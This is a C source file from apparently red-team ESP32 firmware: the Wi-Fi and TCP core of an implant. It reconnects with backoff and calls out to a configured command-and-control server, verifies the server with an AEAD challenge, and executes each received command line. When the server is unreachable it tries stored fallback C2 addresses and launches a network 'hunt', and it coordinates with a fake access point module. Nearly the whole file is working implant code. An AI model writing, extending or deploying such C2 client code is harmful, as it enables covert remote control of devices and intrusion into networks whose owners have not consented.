#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include "lwip/sockets.h"
#include "lwip/netdb.h"

#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/timers.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"

#include "c2.pb.h"
#include "pb_decode.h"

#include "freertos/semphr.h"
#include <stdatomic.h>
#include "utils.h"

#ifdef CONFIG_MODULE_FALLBACK
#include "fb_config.h"
#include "fb_hunt.h"
#endif

int sock = -1;
SemaphoreHandle_t sock_mutex = NULL;

/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
atomic_bool fb_active = false;

#ifdef CONFIG_NETWORK_WIFI
static const char *TAG = "CORE_WIFI";

#define RX_BUF_SIZE          4096
#define RECONNECT_DELAY_MS   5000
#define RX_TIMEOUT_S         10

/* =========================================================
 * WiFi reconnect with exponential backoff + full restart
 * ========================================================= */
#define WIFI_BACKOFF_INIT_MS    1000
#define WIFI_BACKOFF_MAX_MS     30000
#define WIFI_MAX_RETRIES        10     /* full restart after N failures */

static int      wifi_retry_count   = 0;
static uint32_t wifi_backoff_ms    = WIFI_BACKOFF_INIT_MS;
static TimerHandle_t reconnect_timer = NULL;

static void wifi_reconnect_cb(TimerHandle_t t)
{
    ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
             wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);

    if (wifi_retry_count >= WIFI_MAX_RETRIES) {
        ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
        esp_wifi_stop();
        vTaskDelay(pdMS_TO_TICKS(500));
        esp_wifi_start();
        esp_wifi_connect();
        wifi_retry_count = 0;
        wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
        return;
    }

    esp_wifi_connect();
}

/* =========================================================
 * WiFi event handler — backoff reconnect on disconnect
 * ========================================================= */
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
                               int32_t event_id, void *event_data)
{
    if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
        wifi_event_sta_disconnected_t *evt =
            (wifi_event_sta_disconnected_t *)event_data;

        /* If fallback hunt is active, it handles WiFi — skip reconnect */
        if (fb_active) {
            ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
                     evt->reason);
            return;
        }

#ifdef CONFIG_MODULE_FAKEAP
        /* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
        if (fakeap_active) {
            ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
                     evt->reason);
            return;
        }
#endif

        ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
                 evt->reason, (unsigned long)wifi_backoff_ms);

        wifi_retry_count++;

#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
        if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
            ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
                     CONFIG_FB_WIFI_FAIL_THRESHOLD);
            extern void fb_hunt_trigger(void);
            fb_hunt_trigger();
            return;
        }
#endif

        /* Schedule reconnect with backoff */
        if (reconnect_timer) {
            xTimerChangePeriod(reconnect_timer,
                               pdMS_TO_TICKS(wifi_backoff_ms),
                               0);
            xTimerStart(reconnect_timer, 0);
        }

        /* Exponential backoff: 1s → 2s → 4s → ... → 30s */
        wifi_backoff_ms *= 2;
        if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
            wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
    }

    if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
        ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
        ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));

        /* Reset backoff on successful connection */
        wifi_retry_count = 0;
        wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;

        if (reconnect_timer)
            xTimerStop(reconnect_timer, 0);
    }
}

/* =========================================================
 * Pause/resume reconnect (used by Red Team hunt module)
 * ========================================================= */
void wifi_pause_reconnect(void)
{
    if (reconnect_timer)
        xTimerStop(reconnect_timer, 0);
    ESP_LOGI(TAG, "WiFi reconnect paused");
}

void wifi_resume_reconnect(void)
{
    wifi_retry_count = 0;
    wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
    ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
}

/* =========================================================
 * WiFi init
 * ========================================================= */
void wifi_init(void)
{
    ESP_ERROR_CHECK(esp_netif_init());
    ESP_ERROR_CHECK(esp_event_loop_create_default());
    esp_netif_create_default_wifi_sta();
    esp_netif_create_default_wifi_ap();

    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
    ESP_ERROR_CHECK(esp_wifi_init(&cfg));

    /* Reconnect timer (one-shot, started on disconnect) */
    reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
                                    pdFALSE, NULL, wifi_reconnect_cb);

    /* Register event handlers */
    ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
                                               &wifi_event_handler, NULL));
    ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
                                               &wifi_event_handler, NULL));

    wifi_config_t wifi_config = {
        .sta = {
            .ssid = CONFIG_WIFI_SSID,
            .password = CONFIG_WIFI_PASS,
        },
    };

    ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA));
    ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config));
    ESP_ERROR_CHECK(esp_wifi_start());
    ESP_ERROR_CHECK(esp_wifi_connect());

    ESP_LOGI(TAG, "Connecting to WiFi SSID=%s", CONFIG_WIFI_SSID);
}

/* =========================================================
 * TCP connect
 * ========================================================= */
static bool tcp_connect(void)
{
    struct sockaddr_in server_addr = {0};

    int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
    if (new_sock < 0) {
        ESP_LOGE(TAG, "socket() failed");
        return false;
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(CONFIG_SERVER_PORT);
    server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);

    if (lwip_connect(new_sock,
                     (struct sockaddr *)&server_addr,
                     sizeof(server_addr)) != 0) {
        ESP_LOGE(TAG, "connect() failed");
        lwip_close(new_sock);
        return false;
    }

    /* Recv timeout: prevents blocking forever if C2 dies without FIN */
    struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
    lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    xSemaphoreTake(sock_mutex, portMAX_DELAY);
    sock = new_sock;
    xSemaphoreGive(sock_mutex);

    ESP_LOGI(TAG, "Connected to %s:%d",
             CONFIG_SERVER_IP,
             CONFIG_SERVER_PORT);
    return true;
}


/* =========================================================
 * Server identity verification (challenge-response AEAD)
 *
 * Sends HELLO:device_id, server responds with AEAD-encrypted
 * challenge. If we can decrypt it (tag OK), the server has
 * the correct key and is authentic.
 * ========================================================= */
#ifdef CONFIG_C2_VERIFY_SERVER
static bool server_verify(void)
{
    /* 1) Send HELLO:device_id\n */
    char hello[128];
    snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);

    xSemaphoreTake(sock_mutex, portMAX_DELAY);
    int s = sock;
    xSemaphoreGive(sock_mutex);

    if (lwip_write(s, hello, strlen(hello)) <= 0) {
        ESP_LOGE(TAG, "server_verify: failed to send HELLO");
        return false;
    }

    /* 2) Read server challenge (recv timeout already set to 10s) */
    uint8_t rx_buf[256];
    int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
    if (len <= 0) {
        ESP_LOGE(TAG, "server_verify: no challenge received");
        return false;
    }
    rx_buf[len] = '\0';

    /* Strip trailing newline/CR */
    while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
        rx_buf[--len] = '\0';

    if (len == 0) {
        ESP_LOGE(TAG, "server_verify: empty challenge");
        return false;
    }

    /* 3) Base64 decode */
    size_t decoded_len = 0;
    char *decoded = base64_decode((char *)rx_buf, &decoded_len);
    if (!decoded || decoded_len < 28) {  /* nonce(12) + tag(16) minimum */
        ESP_LOGE(TAG, "server_verify: base64 decode failed");
        free(decoded);
        return false;
    }

    /* 4) Decrypt — AEAD tag verification proves server identity */
    uint8_t plain[256];
    int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
                                   plain, sizeof(plain));
    free(decoded);

    if (plain_len < 0) {
        ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
        return false;
    }

    return true;
}
#endif /* CONFIG_C2_VERIFY_SERVER */

/* =========================================================
 * Handle incoming frame
 * ========================================================= */
static void handle_frame(const uint8_t *buf, size_t len)
{
    if (len == 0 || len >= RX_BUF_SIZE) {
        ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
        return;
    }
    /* buf is already null-terminated by strtok in tcp_rx_loop,
       and c2_decode_and_exec makes its own 1024-byte copy. */
    c2_decode_and_exec((const char *)buf);
}


/* =========================================================
 * TCP RX loop
 * Returns: true = still connected, false = disconnected
 * ========================================================= */
static bool tcp_rx_loop(void)
{
    static uint8_t rx_buf[RX_BUF_SIZE];

    xSemaphoreTake(sock_mutex, portMAX_DELAY);
    int current_sock = sock;
    xSemaphoreGive(sock_mutex);

    if (current_sock < 0) return false;

    int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
    if (len < 0) {
        /* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
        if (errno == EAGAIN || errno == EWOULDBLOCK) {
            return true;
        }
        ESP_LOGW(TAG, "RX error: errno=%d", errno);
        xSemaphoreTake(sock_mutex, portMAX_DELAY);
        lwip_close(sock);
        sock = -1;
        xSemaphoreGive(sock_mutex);
        return false;
    }
    if (len == 0) {
        ESP_LOGW(TAG, "RX: peer closed connection");
        xSemaphoreTake(sock_mutex, portMAX_DELAY);
        lwip_close(sock);
        sock = -1;
        xSemaphoreGive(sock_mutex);
        return false;
    }

    /* IMPORTANT: string termination for strtok */
    rx_buf[len] = '\0';

    char *saveptr = NULL;
    char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
    while (line) {
        handle_frame((uint8_t *)line, strlen(line));
        line = strtok_r(NULL, "\n", &saveptr);
    }
    return true;
}

/* =========================================================
 * C2 failover: try NVS fallback addresses on same network
 * ========================================================= */
#ifdef CONFIG_FB_AUTO_HUNT

static bool try_fallback_c2s(void)
{
    fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
    int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);

    for (int i = 0; i < count; i++) {
        char ip_buf[48];
        int port = CONFIG_SERVER_PORT;
        strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
        ip_buf[sizeof(ip_buf) - 1] = '\0';

        /* Parse "ip:port" format */
        char *colon = strrchr(ip_buf, ':');
        if (colon) {
            *colon = '\0';
            port = atoi(colon + 1);
            if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
        }

        ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);

        /* Close current socket */
        xSemaphoreTake(sock_mutex, portMAX_DELAY);
        if (sock >= 0) { lwip_close(sock); sock = -1; }
        xSemaphoreGive(sock_mutex);

        /* Try connect to fallback C2 */
        struct sockaddr_in server_addr = {0};
        int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
        if (new_sock < 0) continue;

        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port);
        server_addr.sin_addr.s_addr = inet_addr(ip_buf);

        if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
                         sizeof(server_addr)) != 0) {
            lwip_close(new_sock);
            continue;
        }

        struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
        lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

        xSemaphoreTake(sock_mutex, portMAX_DELAY);
        sock = new_sock;
        xSemaphoreGive(sock_mutex);

        ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
        return true;
    }
    return false;
}

#endif /* CONFIG_FB_AUTO_HUNT */

/* =========================================================
 * Main TCP client task
 * ========================================================= */
void tcp_client_task(void *pvParameters)
{
    if (!sock_mutex)
        sock_mutex = xSemaphoreCreateMutex();

#ifdef CONFIG_FB_AUTO_HUNT
    int tcp_fail_count = 0;
#endif

    while (1) {

        /* If fallback hunt is active, wait for it to finish */
        while (fb_active) {
            vTaskDelay(pdMS_TO_TICKS(1000));
        }

        if (!tcp_connect()) {
#ifdef CONFIG_FB_AUTO_HUNT
            tcp_fail_count++;
            ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
                     tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
            if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
                /* Level 1: C2 failover on same network */
                if (try_fallback_c2s()) {
                    tcp_fail_count = 0;
                    goto handshake;
                }
                /* Level 2: full network hunt */
                ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
                fb_hunt_trigger();
                tcp_fail_count = 0;
                continue;
            }
#endif
            vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
            continue;
        }

#ifdef CONFIG_FB_AUTO_HUNT
        tcp_fail_count = 0;
#endif

#ifdef CONFIG_C2_VERIFY_SERVER
        if (!server_verify()) {
            ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
            xSemaphoreTake(sock_mutex, portMAX_DELAY);
            lwip_close(sock);
            sock = -1;
            xSemaphoreGive(sock_mutex);
            vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
            continue;
        }
        ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
#endif

#ifdef CONFIG_FB_AUTO_HUNT
    handshake:
#endif
        msg_info(TAG, CONFIG_DEVICE_ID, NULL);
        ESP_LOGI(TAG, "Handshake done");

        while (sock >= 0) {
            if (!tcp_rx_loop()) break;
            vTaskDelay(1);
        }

        ESP_LOGW(TAG, "Disconnected, retrying...");
        vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
    }
}

#endif /* CONFIG_NETWORK_WIFI */